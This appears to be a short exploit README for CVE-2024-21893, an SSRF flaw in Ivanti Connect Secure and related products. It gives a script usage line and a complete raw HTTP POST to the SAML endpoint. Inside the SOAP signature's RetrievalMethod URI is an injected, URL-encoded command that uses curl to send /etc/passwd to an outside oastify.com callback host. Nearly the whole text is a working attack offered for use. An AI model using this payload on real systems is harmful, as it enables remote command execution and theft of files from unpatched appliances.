CVE-2024-21893 is server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

run python CVE-2024-21893.py -u target.com -a http://xxxxxxxxx.oastify.com

RCE

POST /dana-ws/saml20.ws HTTP/1.1
Host: target.com
Accept: */*
Content-Type: text/xml
Content-Length: 934
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3bcurl%20-X%20POST%20-d%20%40%2fetc%2fpasswd%20http%3a%2f%2f8oxxxxxxxxxxxxx.oastify.com%3b"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>

Reference : https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis